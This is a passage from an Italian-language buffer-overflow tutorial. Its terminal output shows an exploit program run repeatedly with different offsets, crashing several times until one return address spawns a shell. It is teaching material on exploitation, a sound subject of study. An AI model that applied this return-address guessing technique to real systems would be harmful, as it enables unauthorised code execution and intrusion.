buffer address: 0xbffffcd0
Illegal instruction
eddy@alphabase:/rsg/bof$ ./exploit -500
Using ret: 0xBFFFF8CC
buffer address: 0xbffffcd0
Segmentation fault
eddy@alphabase:/rsg/bof$ ./exploit -1500
Using ret: 0xBFFFFCB4
buffer address: 0xbffffcd0
Illegal instruction
eddy@alphabase:/rsg/bof$ ./exploit -2000
Using ret: 0xBFFFFEA8
buffer address: 0xbffffcd0
Segmentation fault
eddy@alphabase:/rsg/bof$ ./exploit -1800
Using ret: 0xBFFFFDE0
buffer address: 0xbffffcd0
Trace/breakpoint trap
24
Buffer Overflows
7 SFRUTTARE LA VULNERABILITÀ
eddy@alphabase:/rsg/bof$ ./exploit -1700
Using ret: 0xBFFFFD7C
buffer address: 0xbffffcd0
Illegal instruction
eddy@alphabase:/rsg/bof$ ./exploit -1600
Using ret: 0xBFFFFD18
buffer address: 0xbffffcd0
sh-2.05b$ exit
exit
eddy@alphabase:/rsg/bof$
Come potete vedere la procedura è un po’ macchinosa però è semplice trovare un risultato, soprattutto grazie all’aiuto che abbiamo introdotto nel codice
in partenza.
25